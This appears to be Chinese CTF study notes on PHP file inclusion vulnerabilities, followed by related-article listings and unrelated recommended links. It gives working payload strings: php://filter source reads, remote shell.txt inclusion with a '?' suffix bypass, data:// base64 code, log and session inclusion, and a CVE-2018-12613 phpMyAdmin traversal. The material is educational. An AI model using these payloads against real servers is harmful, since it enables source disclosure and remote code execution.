一、基本概念

  • 文件包含
    将相同函数写入单独的文件中,需要使用时直接调用
  • 文件包含漏洞
    将被包含的文件设置为变量,导致客户端可以恶意调用一个恶意文件
  • 相关函数
    • include()
    • include_once()
    • require()
    • require_once()
      include()若没有找到文件,只报warning;require()报错停止
      once说明值包含一次
      包含可执行文件时会直接执行

二、本地文件包含

  • 包含的实现
    包含的时候,不一定要包含.php文件,只要包含一块完整的php代码,例如a.jpg,内容为<?php phpinfo();?>
  • 具体场景
    由于被包含的文件类型多种多样,因此在实现的时候,重点在于找到可控文件

    • 比如说能够上传图片,就去传一个带完整php代码的图片文件,或者是将代码文件改后缀
    • 压缩包使用伪协议

三、远程文件包含

  • 远程包含的条件

    • allow_url_fopen
    • allow_url_include
  • [http|https|ftp]://www.bbb.com/shell.txt
    若后缀名写死,可以使用?绕过
    例如www.bbb.com/shell.txt?a.php

  • 伪协议

    • php归档

      • phar://archive.zip/file.txt
      • zip://archive.zip#dir/file.txt(#有时需要替换为%23)
    • 利用php流
      • php://filter是一种元封装器,用于数据流打开筛选过滤的应用。对于一体式的文件函数非常有用,类似readfile()file()file_get_contents()
        ?file=php://filter/convert.base64-encode/resource=index.php
      • php://input
        利用条件:

        • 1、allow_url_include=On
        • 2、对allow_url_fopen不做要求
        • php://input可以读取没有处理过的POST数据
    • data协议
      include('data://text/plain;base64,cGhwaW5mbygpCg==');

四、具体场景

  • 日志文件
    web服务器会将请求写入到日志文件中,比如说apache。当用户发起请求时,会将请求写入access.log,当发生错误时将错误写入error.log。默认情况下,日志保存路径在/var/log/apahce2/

  • 系统环境
    https://www.youtube.com/watch?v=dlh0ogYy9ys

  • session
    登录注册类型要么sql注入要么session文件包含

    • php默认生成的Session文件往往存在/tmp目录下
    • 文件名为sess_PHPSESSID
    • session.upload_progress.enabled这个参数在php.ini默认开启,如果不是Off,就会在上传过程中生成上传进度文件,它的储存文件路径可以在phpinfo获取到

五、补充

  • CVE-2018-12613Phpmyadmin后台 任意文件包含漏洞复现

    checkPageValidity
    //%253f是?号的二此url编码
    urlcode将$page解码后是db_sql.php?/../../test.php 再以?分割取出来前面的字符串为index.php,$whitelist中有index.php所以会进入最后一个if区间return true
    前面5个if都符合后会包含$_REQUEST['target'],target值会被解析成db_sql.php%3f/../../test.txt,因为php会前面db_sql.php%3f当成目录,所以要多加一个../来跨出目录

CTF 文件包含的更多相关文章

  1. CTF 文件包含与伪协议

    正巧在写代码审计的文章,无意间看到了一篇CTF的代码审计,CTF题目很好,用的姿势正如标题,文件包含和伪协议. 先放出原文链接(http://www.freebuf.com/column/150028 ...

  2. 一道内部ctf文件包含题

    拿到题目 在burp里看下 拿到源码 很明显是一道文件包含题目,包含cookie里的值,于是构造Cookie:language=chinese试试   文件变成中文的了,说明中文语言进行了包含并替换 ...

  3. CTF文件包含

    <?php include "flag.php"; $a = @$_REQUEST['hello']; eval( "var_dump($a);"); s ...

  4. “百度杯”CTF比赛 十二月场_blog(kindeditor编辑器遍历,insert注入,文件包含)

    题目在i春秋的ctf训练营中能找到 首先先是一个用户登录与注册界面,一般有注册界面的都是要先让你注册一波,然后找惊喜的 那我就顺着他的意思去注册一个号 注册了一个123用户登录进来看到有个文本编辑器, ...

  5. 实战经验丨CTF中文件包含的技巧总结

    站在巨人的肩头才会看见更远的世界,这是一篇技术牛人对CTF比赛中文件包含的内容总结,主要是对一些包含点的原理和特征进行归纳分析,并结合实际的例子来讲解如何绕过,全面细致,通俗易懂,掌握这个新技能定会让 ...

  6. 百度杯”CTF比赛 2017 二月场 没错!就是文件包含漏洞。

    题目源码: 文件包含漏洞的话,看一下 你么可以使用php://input 伪协议,执行代码(参考了大佬WP)这里使用了POSTMAN, 目录下还有一个dle345aae.php文件,呢么用cat命令打 ...

  7. CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  8. 【CTF WEB】文件包含

    文件包含 题目要求: 请找到题目中FLAG 漏洞源码 <meta charset='utf-8'> <center><h1>文件阅读器</h1>< ...

  9. i春秋——“百度杯”CTF比赛 十月场——GetFlag(md5碰撞、文件包含、网站绝对路径)

    需要提交的captcha满足等式,肯定就是MD5碰撞了 附上脚本 import hashlib def func(md5_val): for x in range(1,100000000): md5_ ...

随机推荐

  1. wamp基本配置与设置外网访问

    wamp安装(都是一键安装)正常启动后,做一些基本配置的介绍: 1.打开rewrite_module,方法一:左键点击wamp图标,鼠标移至Apache,然后平移至Apache模块,勾选rewrite ...

  2. 在vue组件中访问vuex模块中的getters/action/state

    store的结构: city模块: 在各模块使用了命名空间的情况下,即 namespaced: true 时: 组件中访问模块里的state 传统方法: this.$store.state['模块名' ...

  3. jQuery实现点击图片简单放大效果

    一.HTML代码如下: <img class="comment_pics" width="50px" height="50px" sr ...

  4. JavaWeb 之 BeanUtils 工具类

    在上一个用户登录案例中,当从浏览器接收参数后,还需要创建 JavaBean 类,对其的属性每一项赋值,如果属性少,可以手动完成,但是当属性非常多,这时就发现非常不方便,在这里提供一个可以封装 Java ...

  5. 【DATAGUARD】物理dg配置客户端无缝切换 (八.1)--Data Guard Broker 的配置

    [DATAGUARD]物理dg配置客户端无缝切换 (八.1)--Data Guard Broker 的配置 一.1  BLOG文档结构图       一.2  前言部分   一.2.1  导读 各位技 ...

  6. java web添加spring jar 包

    maven依赖: <properties> <spring.version>5.1.7.RELEASE</spring.version> </properti ...

  7. Flask介绍及简单使用

    Flask Django是一个大而全的框架,Flask是一个轻量级的框架. 区别: Django内部集成了大量的组件:请求处理是逐一封装和传递: Flask本身并没有太多的功能,但是第三方组件非常丰富 ...

  8. EFK(Elasticsearch+Filebeat+Kibana)收集容器日志

    介绍 Elasticsearch 是一个实时的.分布式的可扩展的搜索引擎,允许进行全文.结构化搜索,它通常用于索引和搜索大量日志数据,也可用于搜索许多不同类型的文档. Beats 是数据采集的得力工具 ...

  9. Activity知识点详解

    Activity知识点详解 一.什么是Activity 官方解释: The Activity class is a crucial component of an Android app, and t ...

  10. httpd的压力测试工具-ab工具使用案例

    httpd的压力测试工具-ab工具使用案例 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任.   一.httpd自带的工具程序 事实上,在我们安装完Apache之后,它默认就会给我们安 ...